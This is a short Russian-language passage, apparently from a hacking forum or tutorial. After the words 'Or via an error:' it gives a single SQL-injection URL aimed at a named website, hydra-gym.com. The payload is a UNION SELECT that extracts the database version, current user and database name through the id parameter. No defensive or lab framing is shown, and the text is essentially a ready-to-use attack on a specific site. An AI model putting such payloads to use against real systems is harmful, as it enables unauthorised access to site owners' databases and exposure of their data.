Или через ошибку:

http://hydra-gym.com/index2.php?id=-1+union+select+concat(0x01,concat_ws(0x3a,version( ),user(),database())),2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22+--+